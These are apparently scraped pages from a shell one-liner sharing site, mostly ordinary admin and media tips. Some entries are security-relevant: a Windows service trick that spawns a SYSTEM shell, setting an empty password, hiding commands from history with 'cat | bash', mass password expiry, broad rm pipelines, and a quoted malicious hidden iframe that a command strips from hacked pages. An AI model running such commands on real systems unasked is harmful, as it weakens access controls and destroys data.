you want the script run at shutdown scutil --dns See the order for DNS resolution on your Mac for file in $( vmrun list | grep 'vmx$' | sort ); do printf "% 40s %s M\n" $(echo "$( echo -n ${file}:\ ; grep memsize $file )" | sed -e 's/.*\///' -e 's/"//g' -e 's/memsize.=//'); done; Functions: echo file grep printf sed sort get memory configuration (not consumption) for all running VMware virtual machines So your boss wants to know how much memory has been assigned to each virtual machine running on your server... here's how to nab that information from the command line while logged in to that server while [ 1 ]; do clear; echo 'YOUR TEXT HERE' | figlet -f banner -t | while IFS="\n" read l; do echo "$l"; sleep 0.01; done; done bash screensaver revised Change YOUR TEXT HERE to the text you want. On figlet -f banner, you can change it to any figlet font you have installed. One variant for Star Wars fans could be this: while [ 1 ]; do clear; echo 'Star Wars' | figlet -f starwars -t | while IFS="\n" read l; do echo "$l"; sleep 0.01; done; done NOTICE: You need to install figlet. On Ubuntu, this command is: On Debian, this command is: cat infile | while read str; do echo "$((++i)) - $str" ; done; Functions: cat echo read Yep, is hard, but is a way more flexible using pipe. netstat -atn | grep :22 | grep ESTABLISHED | awk '{print $4}' | sed 's/:22//' Functions: awk grep netstat sed list current ssh clients find . -maxdepth 1 -iname '*jpg' -exec convert -quality 60 {} lowQ/{} \; Compress Images using convert (ImageMagick) in a bulk * lowQ/ is the output directory * pass quality level from 1 to 100 date --iso 2009-02-26 Generic date format Useful to archive files once a day: cp file file.$(date --iso) echo "import random; print(random.choice(['heads', 'tails']))" | python a pseudo-random coin flip in python convert -bordercolor Transparent -border 1x1 in.png out.png Add a 1 pixel padding around an image. Requires either imagemagick or graphicsmagic utility. /usr/local/bin/OFPW -pass thepassword Sets OpenFirmware pasword on a mac while read str; do echo "$((++i)) - $str"; done < infile Hi glaudiston, you can save a few chars by leaving out cat and pipe and still enjoy the added flexibility. tw translate.google.com.de-en `xsel` Translate the X selection from German to English. The tw program is available from Savannah: http://mirror.its.uidaho.edu/pub/savannah/twandgtw/ I'm posting this because the base Debian system also does not include curl. set open firmware password command mode to require password to make changes perl -wlne 'print $1 if /(([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5]))/' iplist if you want to only print the IP address from a file. In this case the file will be called "iplist" with a line like "ip address 1.1.1.1" it will only print the "1.1.1.1" portion <ctrl+s>|<alt+s> Spanish Numbers Learning cardinal and ordinal numbers in Spanish, with the best sounds files, try to get the best way to improve youLearning cardinal and ordinal numbers in Spanish, with the best sounds files, try to get the best way to improve your vocabulary. ‹ First < 284 285 286 287 288 > Last › Usage: xpath /path/to/element XMLfile echo 127.0.0.1 | egrep -e '^(([01]?[0-9]{1,2}|2[0-4][0-9]|25[0-4])\.){3}([01]?[0-9]{1,2}|2[0-4][0-9]|25[0-4])$' Handles everything except octets with 255. Ran through ip generator with variable octet lengths. sudo usermod -p $(mkpasswd '') user_id Enable passwordless login It is safe when there is "PermitEmptyPasswords no" in /etc/ssh/sshd_config. This command is useful when there is no need to have a password. awk '{print substr($0, index($0,$N))}' This command will print all fields from the given input to the end of each line, starting with the Nth field. texmacs --delete-font-cache gnu@robby:~/.TeXmacs$ texmacs --delete-font-cache TeXmacs] With linked TrueType support [: 39: =: unexpected operator TeXmacs] Loading corktounicode TeXmacs] Loading unicode-cork-oneway TeXmacs] Loading tmuniversaltounicode TeXmacs] Loading unicode-symbol-oneway refresh texmacs font cache after installing new fonts after installing new fonts ( tfm , pfb , cjk , truetype ... ) manually in your ~/.Texmacs/fonts , it doesn't always reload it properly , just refresh it by delete the old cache fonts in sample output , I just installed TrueType Chinese CJK fireflysung fonts supports %s/?/\ï/ge | %s/?/\é/ge | %s/?/"/ge | %s/?/"/ge | %s/?/'/ge | %s/?/'/ge | %s/?/\ê/ge | %s/?/\…/ge | %s/?/\è/ge | %s/?/\ó/ge | %s/?/\ö/ge | %s/?/\é/ge | %s/?/\–/ge | %s/?/\—/ge chain search and replace special characters to html entities in gvim a brief list of very common special characters in Dutch. Usefull for formatting Word source to html. find ./ -iname "*.mp3" -type f -printf "mv '%p' '%p'\n" | sed -e "s/mp3'$/mp3'/I" | sh Rename *.MP3 *.Mp3 *.mP3 etc.. to *.mp3. Extensible to other ugly extensions like *.JPG, *.Jpg etc.. Leave out the last pipe to sh to perform a dry run. for i in {0..1}{0..9}; do echo $i; done 00 02 03 04 18 Bash 4 will let you do {00..19} to get leading zeros, but Bash 3 doesn't have that feature. This technique gets you partway there (the sequences need be such that the last digit ranges from zero to nine - you can't use this for something like Bash 4's {03..27}, for example). When this limitation is not a problem, you can avoid some complicated string manipulation for concatenating leading zeros. You can add more digits like this: {0..1}{0..9}{0..9} (ranges from 0 to 99 with up to two leading zeros). To pad with additional zeros: for i in 000{0..1}{0..9}; do echo $i; done for i in {0..1}{0..9}; do echo "000$i"; done This is useful for creating values to sort or for creating filenames with a fixed format. Note that this will also work: touch {0..1}{0..9} gst-launch avimux name=mux ! filesink location=out.avi \ alsasrc ! audioconvert ! queue ! mux. istximagesrc name=videosource use-damage=false ! video/x-raw-rgb,framerate=10/1 ! videorate ! ffmpegcolorspace ! video/x-raw-yuv,framerate=10/1 ! mux. Capture screen and default audio input device and generate an incompress AVI file The command generate an huge output file (depending on screen resolution and time). pbzip2 -dck <bz2file> | tar xvf - pbzip2 tar pipe to untar jda() { cd $(pwd | sed "s/\(\/$@\/\).*/\1/g"); } Functions: cd pwd sed Jump to any directory above the current find . -type f \( -name "*.js" -o -name "*.php" -o -name "*.inc" -o -name "*.html" -o -name "*.htm" -o -name "*.css" \) -exec grep -il 'searchString' {} \; ./index.html ./lib/php/buttons.php Use find to recursively make a list of all files from the current directory and downwards. The files have to have an extension of the ones listed. Then for every file found, grep it for 'searchString', returns the filename if searchString is found. alias dush="du -xsm * | sort -n | awk '{ printf(\"%4s MB ./\",\$1) ; for (i=1;i<=NF;i++) { if (i>1) printf(\"%s \",\$i) } ; printf(\"\n\") }' | tail" You could add this in your profile with a different format to make it look less daunting: $ alias dush="du -xsm * | \ Essentially the same as funky's alias, but will not traverse filesystems and has nicer formatting. gpsbabel -i kml -f in.kml -o gpx -F out.gpx Convert KML to GPX w/ gpsbabel Converts a single-track KML (Keyhole Markup Language) file to a GPX file. KML is the geospatial format of choice used by Google Earth, but doesn't interoperate with other GIS applications, websites, or devices ? almost all of which accept GPX. @echo off && sc create CmdAsSystem type= own type= interact binPath= "cmd /c start cmd /k (cd c:\ ^& color ec ^& title ***** SYSTEM *****)" && net start CmdAsSystem && sc delete CmdAsSystem run as system on windows CHECK TABLE `mysql.columns_priv` ; CHECK TABLE `mysql.db` ; CHECK TABLE `mysql.func` ; CHECK TABLE `mysql.help_category` ; CHECK TABLE `mysql.help_keyword` ; CHECK TABLE `mysql.help_relation` ; CHECK TABLE `mysql.help_topic` ; CHECK TABLE `mysql.host` ; CHECK TABLE `mysql.tables_priv` ; CHECK TABLE `mysql.time_zone` ; CHECK TABLE `mysql.time_zone_leap_second` ; CHECK TABLE `mysql.time_zone_name` ; CHECK TABLE `mysql.time_zone_transition` ; CHECK TABLE `mysql.time_zone_transition_type` ; CHECK TABLE `mysql.user` ; CHECK TABLE `mysql.user_info` ; Functions: cd find gawk grep sed sort tr uniq Generate CHECK TABLE statements for all MySQL database tables on a server This command will generate "CHECK TABLE `db_name.table_name` ;" statements for all tables present in databases on a MySQL server, which can be piped into the mysql command. (Can also be altered to perform OPTIMIZE and REPAIR functions.) Tested on MySQL 4.x and 5.x systems in a Linux environment under bash. sudo aptitude -y install iasl && sudo cat /sys/firmware/acpi/tables/DSDT > dsdt.dat && iasl -d dsdt.dat Intel ACPI Component Architecture AML Disassembler version 20061109 [May 16 2007] Copyright (C) 2000 - 2006 Intel Corporation Supports ACPI Specification Revision 3.0a Loading Acpi table from file dsdt.dat Acpi table [DSDT] successfully installed and loaded Pass 1 parse of [DSDT] Pass 2 parse of [DSDT] Parsing Deferred Opcodes (Methods/Buffers/Packages/Regions) ................................................................................................................................................................................................................................................................................................................................. Parsing completed Disassembly completed, written to "dsdt.dsl" Functions: cat install sudo View your motherboard's ACPI tables (in Debian & Ubuntu) In July 2008, there was an uproar over Foxconn motherboards feeding Linux installs incorrect ACPI information (http://ubuntu-virginia.ubuntuforums.org/showthread.php?t=869249). Foxconn has gladly corrected their mistake, but make sure it's not happening on your motherboard! After running the command, just view the 'dsdt.dsl' in any editor you like. for dnsREC in $(curl -s http://www.iana.org/assignments/dns-parameters |grep -Eo ^[A-Z\.]+\ |sed 's/TYPE//'); do echo -n "$dnsREC " && dig +short $dnsREC IANA.ORG; done Functions: dig echo grep sed dig this for i in `cat /etc/passwd | awk -F : '{ print $1 }';`; do passwd -e $i; done Functions: awk passwd sed -e 's/{"url":/\n&/g' ~/.mozilla/firefox/*/sessionstore.js | cut -d\" -f4 Functions: cut sed change-homepage(){ sed -ri 's|( "homepage": ").*(",)|\1'"$@"'\2|' .config/chromium/Default/Preferences; } Change the homepage of Chromium du --max-depth=1 | grep -v '\.\/\.' grep -l bar *.log | xargs grep -l foo find names of files ending in *log that have both foo and bar Uses xargs to call the second grep with the first grep's results as arguments fromdos <file> requires the package tofrodos on Debian/Ubuntu: sudo apt-get install tofrodos for i in {1..40};do echo -n $i. $(date +%H:%M:%S):\ ; (time curl 'http://ya.ru/' &> /dev/null) 2>&1|grep real;sleep 1;done 1. 13:54:15: real 0m0.393s 2. 13:54:21: real 0m0.053s 3. 13:54:28: real 0m0.678s 4. 13:54:34: real 0m0.166s 40. ... Functions: date echo grep sleep time measure answer time of a web service This uses curl to find out the access times of a web service ‹ First < 285 286 287 288 289 > Last › perl -pi -e 's/foo/bar/g' $(grep -l foo ./*) Change all instances of a word in all files in the current directory This command will replace all instances of 'foo' with 'bar' in all files in the current working directory. uuid bfcca18a-8857-11de-bdc3-0024e80e2d83 Generate a Universally Unique Identifier (UUID) http://en.wikipedia.org/wiki/Universally_Unique_Identifier http://www.ossp.org/pkg/lib/uuid/ You'll first need to install the uuid package. Available immediately from apt in Ubuntu, Debian, or other myriad Debian variants. You could always compile it from source as well. du -sh * | grep -v '\.\/\.' for i in *; do echo '"'$i'"'; done List files with names in quotes. bash git last commit on a file. git log -n 1 -p FILENAME| head -n 1 | awk -F " " '{print $2}' perl -pi -e 's/foo/bar/g' $(grep -rl foo ./*) Change all instances of a word in all files in the current directory and it's sub-directories This command will replace all instances of 'foo' with 'bar' in all files in the current working directory and any sub-directories. lsfo -i :[port number] host -t a dartsclink.com | sed 's/.*has address //' 67.207.139.81 Functions: host sed alternative using 'host' du -sh `ls -p | grep /` curl http://my-ip.cc/host.xml <host> <ipv4>188.165.241.33</ipv4> <hostname>ns390090.ovh.net</hostname> <address> <city>Roubaix</city> <country>FRANCE (FR)</country> <geo> </geo> </address> </host> XML version. cobbler repo add --name=CentOS-5.3-i386-updates --mirror=http://mirror3.mirror.garr.it/mirrors/CentOS/5.3/updates/i386/ Create new repo in Cobbler for CentOS 5.3 updates Add a repo to cobbler. To download all the repository contents the command is: cobbler reposync cal -y Show today date on a yearly calendar. netstat -lantp | grep -i establ | awk -F/ '{print $2}' | uniq | sort java pidgin thunderbird-b Functions: awk grep netstat uniq Can be used to discover what programms create internet traffic. Skip the part after awk to get more details. Has anyone an idea why the uniq doesn't work propperly here (see sample output)? curl -s "http://www.google.com/ig/api?weather=New%20York" | sed 's|.*<temp_f data="\([^"]*\)"/>.*|\1|' 35 Will return temperature in Fahrenheit of a location (New York City in example). Uses a Google API. cat 1.tar.gz 2.tar.gz | tar zxvif - You don't need to create an intermediate file, just pipe the output directly to tar command and use stin as file (put a dash after the f flag). function titlescroll { _X=0 _TITLEMSG=$1 _WIDTH=${2:-16} _TITLEMSG=`printf "%$((${#_TITLEMSG}+$_WIDTH))s" "$_TITLEMSG"` while `true` do _X=$(((_X+1)%${#_TITLEMSG})) xtitle "${_TITLEMSG:_X:_WIDTH}" done } Scroll a message in a terminal titlebar titlescroll "message" <width> Requires command "xtitle" or replace with: echo -ne "\e]0;TEXT_HERE\007" find ./ -name Thumbs.db -exec rm -rf '{}' + expr $(fdisk -s ` grep ' / ' /etc/mtab |cut -d " " -f1`) / 1024 Functions: cut expr fdisk grep Alternative way to get the root directory size in megabytes > filename empty a file locate -i yourfilename | sed 's/ /\\ /g' | xargs ls -lah | less Functions: locate ls sed xargs Escapes spaces in paths. mformat -f 1440 A: Functions: mformat Format a flooppy with windows compatible disk The 1440 is the number of bytes, and the A: specifies the floppy drive. find /lib/modules/`uname -r`/ -type f -iname '*.o' -or -iname '*.ko' |grep -i -o '[a-z0-9]*[-|_]*[0-9a-z]*\.ko$' |xargs -I {} echo '# {}' >>/etc/modules.autoload.d/kernel-2.6 # /etc/modules.autoload.d/kernel-2.6: kernel modules to load when system boots. # Note that this file is for 2.6 kernels. # Add the names of modules that you'd like to load when the system # starts into this file, one per line. Comments begin with # and # are ignored. Read man modules.autoload for additional details. # For example: # aic7xxx # mixer-oss.ko # pcm-oss.ko # seq-device.ko # seq-oss.ko # snd-seq.ko Functions: echo find grep xargs [Gentoo] Input modules, commented, in your module.autoload file Whenever you compile a new kernel, there are always new modules. The best way to make sure you have the correct modules loaded when you boot is to add all your modules in the modules.autoload file (they will be commented) and uncomment all those modules you need. Also a good way to keep track of the available modules in your system. For other distros you may have to change the name of the file to /etc/modprobe.conf sshmysql() { ssh -L 13306:127.0.0.1:3306 -N $* & } $ sshmysql [user@]remote-server [1] 10653 Function to bind MySQL hostport to forward remote MySQL connection to localhost. Create a secure tunnelled connection for access to a remote MySQL database. For example, connect with MySQL Workbench to root@127.0.0.1:13306. myLongScript && echo -e '\a' || (echo -e '\a'; sleep 1; echo -e '\a') Ring the system bell after finishing a long script/compile This will ring the system bell once if your script exits successfully and twice if it fails. So you can go look at something else and it will alert you when done. Don't forget to use 'xset b [vol [pitch [duration]]]' to get the bell to sound the way you want. locale | grep LANG= gnu@robby:~$ locale | grep LANG= LANG=fr_BE.UTF-8 Functions: grep locale show your locale language keyboard setting ‹ First < 286 287 288 289 290 > Last › goyoutube() { d=/path/to/videos p=$d/playlist m=$d/*.mp4 f=$d/*.flv if [ "$1" == 'rand' ]; then ls -1 $m $f | shuf >$p else ls -1t $m $f >$p fi mplayer -geometry 500x400 -playlist $p } Play newest or random YouTube video newly downloaded videos goyoutube random goyoutube rand This command assumes you've already downloaded some YouTube .mp4 or .flv video files via other means. Requires 'shuf', or your own stdin shuffler. netstat -nut | awk '$NF=="ESTABLISHED" {print $5}' | cut -d: -f1 | sort -u 81.91.145.204 85.133.199.175 85.185.21.146 91.186.200.13 91.189.90.40 91.98.155.188 91.99.41.81 92.50.59.10 94.182.63.188 find all computer connected to my host through TCP connection find -name '*oldname*' -print0 | xargs -0 rename 's/oldname/newname/' This is better than doing a "for `find ...`; do ...; done", if any of the returned filenames have a space in them, it gets mangled. This should be able to handle any files. Of course, this only works if you have rename installed on your system, so it's not a very portable command. cat | bash execute your commands and avoid history records Sometimes you don't want to leave history, because of passwords use or somethink like. I think it help. find -regextype posix-egrep -regex ".*/[A-Z]{3}_201009[0-9]{2}.*" -printf "%f %s\n" | awk '{ SUM += $2;COUNT++ } END { print SUM/1024 " kb in " COUNT " files" }' Sum up total size and count of all certain filename pattern/regex :%!sudo tee % probably just like 1204, but uses tee as a filter (+ I actually understand how this one works) netstat -nut | sed '/ESTABLISHED/!d;s/.*[\t ]\+\(.*\):.*/\1/' | sort -u Functions: netstat sed sort (cd /Applications/Firefox.app/Contents/MacOS; ./firefox-bin -p default --no-remote) Run a second copy of Firefox using the same profile on Mac OS X (echo "plot '-' with lines"; for x in $(seq 1 100); do curl -s "http://ajax.googleapis.com/ajax/services/search/web?v=1.0&q=$(echo $x bottles of beer on the wall|sed 's/ /%20/g')"|sed 's/.*"estimatedResultCount":"\([^"]*\)".*/\1\n/';done)|gnuplot -persist See http://tr.im/xbottlesofbeer Functions: echo sed seq x bottles of beer on the wall graph Will create a graph of the results for "x bottles of beer on the wall". Requires Gnuplot. Inspired by an xkcd comic: http://xkcd.com/715/ For sample output see: http://tr.im/xbottlesofbeer chmod -R u=rw-x+X,g=r-x+X,o= . -rw-r----- 1 www-data www-data 3353273 Jun 21 17:58 XP_Help_20100621.zip Remove executable bit from all files in the current directory recursively, excluding other directories, firm permissions forces user to rw, group to r, and other to no access. files will not be marked executable. directories will be executable for users and groups only. grabtweets() { curl -s -o $GT_TMP twitter.com/$1 | cat $GT_TMP | grep entry-content | sed -e :loop -e 's/<[^>]*>//g;/</N;//bloop' | sed 's/^[ \t]*//'; } view someone's twitter stream from terminal kadmin -p admin@NOC.NBIRN.NET -q "addprinc -randkey host/host" Authenticating as principal admin@NOC.NBIRN.NET with password. Password for admin@NOC.NBIRN.NET: NOTICE: no policy specified for host/nocwiki.nbirn.net@NOC.NBIRN.NET; assigning "default" add_principal: Principal or policy already exists while creating "host/nocwiki.nbirn.net@NOC.NBIRN.NET". addprinc k add principle ls -l $(find ./ -type l | perl -ne 'chomp; if (-d) { print "$_\n" }') Functions: find ls perl This will list all symlinks that are directories under the current directory. This will help you distinguish them from regular files. read -e -s -p "Password: " password execute your commands hiding secret bits from history records wget --user=username --password="$password" http://example.org/ Instead of hiding commands entirely from history, I prefer to use "read" to put the password into a variable, and then use that variable in the commands instead of the password. Without the "-e" and "-s" it should work in any bourne-type shell, but the -s is what makes sure the password doesn't get echoed to the screen at all. (-e makes editing work a bit better) du -hs * rename foo bar directory/filename $ ls -aF ... many filenames ... .xsession-errors.old $ rename old vetust ./.*.* .xsession-errors.vetust rename command in my system -Fuduntu running 2.6.38 Linux Kernel- is an ELF 64-bit LSB executable, not a Perl script. man page for rename command shows syntax as "rename from to where" (or something like that), so I am doing just what I have been told... kadmin -p admin@NOC.NBIRN.NET -q "ktadd -k /etc/krb5.keytab host/hostname" ktadd sed '/./=' infile | sed '/^/N; s/\n/ /' There's too many options to number, My curiosity has forced me to make it using only sed. Maybe useful... or not... :-S curl -s -H "Authorization: GoogleLogin auth=$auth" "http://www.google.com/reader/api/0/unread-count?output=json" | tr '{' '\n' | sed 's/.*"count":\([0-9]*\),".*/\1/' | grep -E ^[0-9]+$ | tr '\n' '+' | sed 's/\(.*\)+/\1\n/' | bc 33 Get Google Reader unread count Get Google Reader unread count from the command line. You'll have to define your auth token with $auth Or use: curl -s -H "Authorization: GoogleLogin auth=$(curl -sd "Email=$email&Passwd=$password&service=reader" https://www.google.com/accounts/ClientLogin | grep Auth | sed 's/Auth=\(.*\)/\1/')" "http://www.google.com/reader/api/0/unread-count?output=json" | tr '{' '\n' | sed 's/.*"count":\([0-9]*\),".*/\1/' | grep -E ^[0-9]+$ | tr '\n' '+' | sed 's/\(.*\)+/\1\n/' | bc cleartool co -nc `cleartool ls -recurse | grep "hijacked" | sed s/\@\@.*// | xargs` curl http://www.spam.la/?f=sender | grep secs| awk '{print; exit}' | osd_cat -i 40 -d 30 -l 2 kalarm 1 per minute simplest e-mail beacom for Geovision surveillance DVR I have a custmer's Geovision DVR installed on a closed proxi (only logme-in reaches it). I have to check for reliability but logmein hangs and is too slow a process I made the Geovision software send e-mail every minute to the www.spam.la site. All this script does is to retrieve the e-mail header from spam.la ( no login!), filtering sender, stopping at the first occurrence of the word "secs" ( the age of the last e-mail ). The result is the age of the sender's last e-mail, tiny published on top of my screen once a minute. I can refresh www.spam.la via web browser, but have other things to do. I use it inside Kalarm ( kde task schedule ) set to 1 minute repeat. It can be done without kalarm, using Watch outside the script. Try it out now using my account = geo1 ( change sender by geo1 in this script) Needs curl , osd-bin for i in `mailq | awk '$6 ~ /^frozen$/ {print $3}'`; do exim -Mrm $i; done Purge frozen messages in Exim Although Exim will purge frozen (undeliverable) messages over time, the command "exim -Mrm #id#" where #id# is a particular message ID will purge a message immediately. Being lazy, I don't want to type the command for each frozen message, so I wrote the one-liner to do it for me. echo $? # Exit status 0 returned because command executed successfully. ls foo echo $? # Exit status 2 returned because command failed (value depends on command, see man page). Echo exit status (a.k.a. return code) I often find it useful to know what the exit status for a program was. This can be helpful when looking up errors by exit status or when scripting frequent commands. Taken from http://www.faqs.org/docs/abs/HTML/exit-status.html zenity --list --width 500 --height 500 --column 'Wallpapers' $(ls) | xargs xsetbg -center -smooth -fullscreen sets desktop background using zenity Assuming you have zenity installed, and assuming that you keep your backgrounds in ~/backgrounds, then this should work for you! :) ct mkelem -nc `find ./ -name "*" | xargs` Import an entire directory into clearcase ‹ First < 287 288 289 290 291 > Last › exipick -zi | xargs exim -Mrm export PS1="C:\\>"; clear Windows person acting like an idiot in Linux? Is there somebody that uses Windows a lot that keeps messing up your Linux machine? Press Ctrl+Alt+F1-F6 and run this command after logging into a text shell! gst-launch v4l2src ! aasink webcam player in ascii art Use gstreamer to capture v4l2:///dev/video0 and show ascii art video in display. find | egrep "\.(ade|adp|bat|chm|cmd|com|cpl|dll|exe|hta|ins|isp|jse|lib|mde|msc|msp|mst|pif|scr|sct|shb|sys|vb|vbe|vbs|vxd|wsc|wsf|wsh)$" ./.local/share/Trash/files/run.bat ./.wine/drive_c/Program Files/Nuance/PDF Reader/bin/ZPortfolioRes.dll ./.wine/drive_c/Program Files/Nuance/PDF Reader/bin/zrtf.dll ./.wine/drive_c/Program Files/Nuance/PDF Reader/bin/ztypeset.dll ./writeup/lib/mempatch.ins ./writeup/lib/memoir.ins gmail safe folder Returns any file in the folder which would be rejected by Gmail, if you were to send zipped version. (Yes, you could just zip it and knock the extension off and put it back on the other side, but for some people this just isn't a solution) echo -e "Berlin Date/Time is" `TZ=GMT-2 /bin/date \+%c` Berlin Date/Time is Sun 19 Jun 2011 04:35:30 AM GMT Get the rough (german) time from Twitter EXACT time in Germany. :) perl -i -ne 'print uc $_' $1 find * ! -name abc | xargs rm svcadm disable cde-login lpr file Functions: lpr Prints files Saves you an open file and CTRL+P So simple and time-saving. svn merge -r 1337:1336 PATH PATH --- Reverse-merging r1337 into 'PATH': U PATH revert one or more changesets in svn Reverts the changes that were made in a particular revision, in the local working copy. You must commit the local copy to the repository to make it permanent. This is very useful for undoing a change. You can revert multiple changes by specifying numbers wider apart; Just remember to put the highest number first. S='<iframe src=\"http:\/\/254.254.254.254\/bad\/index.php\" width=\"1\" height=\"1\" frameborder=\"0\"><\/iframe>' && R=''; find . -name "*.html" -exec grep -l "$S" {} \; | xargs sed -i -e "s/$S/$R/g" Functions: find grep sed xargs Remove string with several escaped characters from all files under given path Removes the given string from all files under the given path - in this case the path given is "." This demonstrates the characters that must be escaped for the grep and sed commands to do their work correctly. Very handy for fixing hacked html files. find ./ -type f -mtime -1 -name .*.sw[po] -print | sed -r 's/^(.+)\/\.(\S+)\.sw[op]$/\1\/\2/' | xargs vim -r Functions: find sed vim xargs recursivly open all recently crashed vim buffers in restore mode this is great if you loose you ssh connection (with out a screen session) or are working on a laptop with a bad battery, or just a power outage. Modifications: you may not need the -print; the mtime is last modified time in days rm $( ls | egrep -v 'abc|\s' ) Functions: egrep ls rm Really, you deserve whatever happens if you have a whitespace character in a file name, but this has a small safety net. The truly paranoid will use '-i'. rename foo bar filename ls -ld *(/) Show top-level subdirectories (zsh) echo sortmeplease | awk '{l=split($1,a,"");asort(a);while(x<=l){printf "%s",a[x];x++ }print "";}' using awk missed the last char thanks @Josay tar cpof - src |( cd des; tar xpof -) Script started on Sun Sep 20 13:07:18 2009 /Volumes/Photos1/Users/Videos/PixelPerfect $ du -sh 2006 $ ls -1R 2006 | wc -l $ tar cpof - 2006 |( cd ~/Videos/; tar xpof -) $ du -sh !$ $ du -sh ~/Videos/2006 1.1G /Users/davidpotter42/Videos/2006 Script done on Sun Sep 20 13:11:37 2009 Bulk copy large blocks of data between File Systems (run as root iff you do not own all of the files!) Using tape archive create a tar file in Stdout (-) and pipe that into a compound command to extract the tar file from Stdin at the destination. This similar to "Copy via tar pipe ...", but copies across file systems boundaries. I prefer to use cp -pr for copying within the same file system. ps -cx cat arp-scan -l -g -interface (nic) arp-scan -l without duplicates This command will scan the subnet and exlude duplicates complete -W "$(sed 's/;.*//;' /etc/hosts | awk ' /^[[:digit:]]/ {$1 = "";print tolower($0)}')" ssh Enable tab completion for known SSH hosts If you have a lot of hosts in /etc/hosts this would be very useful. Anyone have any more concise examples? ls *(m-1) Files modified today perl -ne 'push(@w, length); END {printf "%0d\n" , (sort({$b <=> $a} @w))[0]}' *.cpp Find the length of the longest line of code in your files. while (ps -ef | grep [r]unning_program_name); do sleep 10; done; command_to_execute Functions: grep ps sleep The '[r]' is to avoid grep from grepping itself. (interchange 'r' by the appropriate letter) Here is an example that I use a lot (as root or halt will not work): while (ps -ef | grep [w]get); do sleep 10; done; sleep 60; halt I add the 'sleep 60' command just in case something went wrong; so that I have time to cancel. Very useful if you are going to bed while downloading something and do not want your computer running all night. <ctrl+z> %1 & $ hg pull <ctrl+z> zsh: suspended hg pull $ %1 & [1] - continued hg pull $ ... $ pulled 4 revisions (run 'hg update' to get a working copy) [1] - done hg pull Often times you run a command in the terminal and you don't realize it's going to take forever. You can open a new terminal, but you lose the local history of the suspended one. You can stop the running command using , but that may produce undesirable side-effects. suspends the job, and (assuming you have no other jobs running in the background) %1 resumes it. Appending & tells it to run in the background. You now have a job running concurrently with your terminal. Note this will still print any output to the same terminal you're working on. Tested on zsh and bash. *-display Give information about your graphic chipset Use the lshw command to display information about your video card. Give more ouput when run as root. ‹ First < 288 289 290 291 292 > Last › HDD=$(df | awk ' NR>3 (S=$5) (M=$6) { if (S>90) print "Your Systems "M" is """S" Full" } ') ; [[ $HDD ]] && echo "$HDD" | mail -s "Hard-Drives Full" TO@EMAIL.com -- -f FROM@EMAIL.com >/dev/null Functions: awk df echo mail Email if you disk is over 90% Email if you disk is over 90% - www.fir3net.com sed = <file> | sed 'N;s/\n/\t/' 1 This is line 1. 2 This is line 2. 4 This is line 4. Print line numbers Print out contents of file with line numbers. This version will print a number for every line, and separates the numbering from the line with a tab. sed '4!d' d --> delete !d ---> delete others lame -h -V 6 track9.wav track9.mp3 create an mp3 with variable bitrate The quality ranges between 0 to 9, with the smaller number indicates a higher quality file but bigger too. file /System/Library/Extensions/*.kext/Contents/MacOS/* |grep -i x86_64 |nl |tail -1 |cut -f1 -f3 && file /System/Library/Extensions/*.kext/Contents/MacOS/* |grep -v x86_64 |nl |tail -1 |cut -f1 -f3 Functions: cut file grep nl tail How far is Mac OS X 10.6 from 64-bit? Next time you see a mac fanboy bragging about 64-bitness of 10.6 give him this so he might sh? wmic process where (caption="notepad.exe") call terminate kill a windows process mailq |awk '/MAILER-DAEMON/{gsub("*","");printf("postsuper -d %s\n",$1)}'|bash ostsuper: 4FA8D141BD: removed postsuper: Deleted: 1 message postsuper: 1A25C141B9: removed postsuper: 1417E141B6: removed postsuper: 91F2B141B1: removed postsuper: 2C84C141B5: removed postsuper: 2FCC5141B4: removed postsuper: 23824141B0: removed postsuper: 5FC8A141B8: removed postsuper: D5B2C14150: removed Functions: awk mailq Used it on daily basis, not sure if it's any better than the OPs version, tho' One advantage is - you can replace 'bash' at the end of the line with eg. cat - to check if the generated command is OK. perl -ne '$. == 4 && print && exit' Perl version - just for completeness sake ;) git rev-list --reverse HEAD | awk "/$(git log -n 1 --pretty="format:%h")/ {print NR}" Sequential revision numbers in Git Git uses secure hash sums for its revision numbers. I'm sure this is fine and dandy for ultra-secure computing, but it's less than optimal for humans. Thus, this will give you sequential revision numbers in Git all the way from the first commit. kill -HUP `ps -A -ostat,ppid,pid,cmd | grep -e '^[Zz]' | awk '{print $2}'` find and kill a zombie process You cannot kill zombies, as they are already dead. But if you have too many zombies then kill parent process or restart service. You can kill zombie process using PID obtained from the above command. For example kill zombie proces having PID 4104: # kill -9 4104 Please note that kill -9 does not guarantee to kill a zombie process. HISTTIMEFORMAT='' history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head > /tmp/cmds ; gnuplot -persist <<<'plot "/tmp/cmds" using 1:xticlabels(2) with boxes' Functions: awk head sort This alternative cleans HISTTIMEFORMAT environment variable and calls gnuplot just after /tmp/cmds is closed, to avoid some errors. php -r "phpinfo();" seems to show default not real qlmanage -p "yourfilename" Outputs an image OS-X... create a quick look from the command line Where "docname" is the document you want OS-X to image... file.txt, file.pdf, file.mov, etc write user anytext sending message to a logined user of group find . -exec grep foobar /dev/null {} \; | awk -F: '{print $1}' | xargs vi Functions: awk find grep xargs needs no GNU tools, as far as I see it mp32ogg file.mp3 $ mp32ogg *.mp3 mp32ogg v0.11 (c) 2000-2002 Nathan Walp Released without warranty under the terms of the Artistic License Converting echoed_-_Mystic_Beats.mp3 to OGG... echoed_-_Mystic_Beats.ogg done! Converting stateshirt_-_Chemma_Chi_-_vocals.mp3 to OGG... stateshirt_-_Chemma_Chi_-_vocals.ogg done! convert mp3 to ogg why would you want to convert mp3's to ogg? 1 reason is because ardour doesn't support mp3 files because of legal issues. this is really the only reason you would do this, unless you have really bad hearing and also want smaller file sizes, because converting from one lossy format to another isn't a good idea. function setx(){ sed '/[xv]/!Q2' <<< $- && { set +xv; export PS4=">>> "; } || { export PS4="`tput setaf 3`>>> `tput sgr0`"; set -xv; }; } [2:0:646][srot@host:pts/1][/opt/SOURCE/screen-4.0.3] $ echo "ulimit `ulimit -a|sed -e 's/.*\(-[a-z]\)) \(.*\)/ \1 \2/g'|tr -d \\012`" echo "ulimit `ulimit -a|sed -e 's/.*\(-[a-z]\)) \(.*\)/ \1 \2/g'|tr -d \\012`" ulimit -a|sed -e 's/.*\(-[a-z]\)) \(.*\)/ \1 \2/g'|tr -d \012 >>> sed -e 's/.*\(-[a-z]\)) \(.*\)/ \1 \2/g' >>> ulimit -a >>> tr -d 012 >>> echo 'ulimit -c -d unlimited -e -f 